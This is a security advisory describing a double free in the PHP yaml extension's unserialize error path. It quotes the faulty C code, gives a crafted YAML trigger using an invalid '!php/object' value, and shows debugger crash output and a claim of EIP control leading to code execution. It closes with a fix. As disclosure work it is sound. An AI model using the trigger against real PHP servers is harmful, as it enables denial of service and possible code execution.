PHP yaml_parse_url Double Free

Vulnerabilities | Repro | Report

The yaml_* parsing functions suffers from an exploitable double free caused by the error path for the php_var_unserialize() call on line 797 of pecl/file_formats/yaml.git/parse.c:

		const unsigned char *p;
		php_unserialize_data_t var_hash;

		p = (const unsigned char *) value;

		if (!php_var_unserialize(
				&retval, &p, p + (int) length, &var_hash TSRMLS_CC)) {
			PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< First free
			php_error_docref(NULL TSRMLS_CC, E_NOTICE,
					"Failed to unserialize class");
			/* return the serialized string directly */
			ZVAL_STRINGL(retval, value, length, 1);

		PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< Second free
		return retval;

Should php_var_unserialize return false, var_hash is immediately freed via PHP_VAR_UNSERIALIZE_DESTROY, and then freed once more prior to the function returning. This code path can be forced by crafting a YAML document that contains an invalid !php/object value. An example is as follows:


$yaml = <<<YAML
a:  !php/object O:0:1
b: !php/object


And it produces the following crash:

eax=00000000 ebx=55a0b760 ecx=02fc9e58 edx=000a0d08 esi=015c41f8 edi=02deedc8
eip=55a0b7dc esp=014ce1d0 ebp=00000000 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
55a0b7dc 8b043a          mov     eax,dword ptr [edx+edi] ds:002b:02e8fad0=??????
0:000> k
ChildEBP RetAddr
014ce1d8 55b9d92c php5ts!_efree+0x7c
014ce1ec 613b45bd php5ts!var_destroy+0x1c
014ce25c 613b50fb php_yaml!eval_scalar+0x60d
014ce2ac 613b4a38 php_yaml!handle_scalar+0x2b
014ce2c8 613b4d09 php_yaml!get_next_element+0xb8
014ce384 613b4a16 php_yaml!handle_mapping+0x159
014ce3a0 613b4afe php_yaml!get_next_element+0x96
014ce3c4 613b3f33 php_yaml!handle_document+0x5e
014ce3e4 613b5f37 php_yaml!php_yaml_read_partial+0x93
014ce560 559e8721 php_yaml!zif_yaml_parse+0x177
014ce5c4 559e7de8 php5ts!zend_do_fcall_common_helper_SPEC+0x161
014ce600 559d33ea php5ts!execute_ex+0x378
014ce628 559d31ab php5ts!zend_execute+0x1ca
014ce65c 559d3694 php5ts!zend_execute_scripts+0x14b
014ce86c 770c9580 php5ts!php_execute_script+0x1b4
014ce8c4 76b9a3fa ntdll!RtlInitializeCriticalSectionEx+0xc2
014ce8dc 76b9a293 KERNELBASE!BasepInitializeFindFileHandle+0x51
014cecac 76b9a293 KERNELBASE!FindFirstFileExW+0x347
014cefb4 76bc39cc KERNELBASE!FindFirstFileExW+0x347
014cf25c 770eb1b7 KERNELBASE!FindFirstFileA+0x6c
014cf29c 770c8891 ntdll!LdrpApplyLookupReference+0x1e
014cf354 770c8c78 ntdll!RtlWow64EnableFsRedirectionEx+0x51
014cf4c4 770c9493 ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x2d8
014cf528 770c8092 ntdll!LdrpApplyFileNameRedirection+0x96
014cf5fc 770d4d3e ntdll!_SEH_epilog4_GS+0xa
014cf640 00000000 ntdll!LdrpGetProcedureAddress+0x3d

Further, the document can be leveraged to manipulate the layout of memory, allowing for EIP control after the double free has occurred, and thus arbitrary code execution.

0:000> r
eax=b6072cb5 ebx=00000000 ecx=55fc7ce0 edx=01564358 esi=02e57450 edi=0155e4b8
eip=b6072cb5 esp=014ce3f0 ebp=014ce45c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
b6072cb5 ??              ???
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
014ce3ec 55a095a9 0xb6072cb5
014ce40c 55d7bbd0 php5ts!_zval_copy_ctor_func+0x139
00000000 00000000 php5ts!zend_std_read_property+0x3967e0

To fix this issue, it is recommended that the free be removed from the error path taken when php_var_unserialize() returns false.

Credit: John Leitch (john@autosectools.com)

Copyright © 2018 AutoSec Tools LLC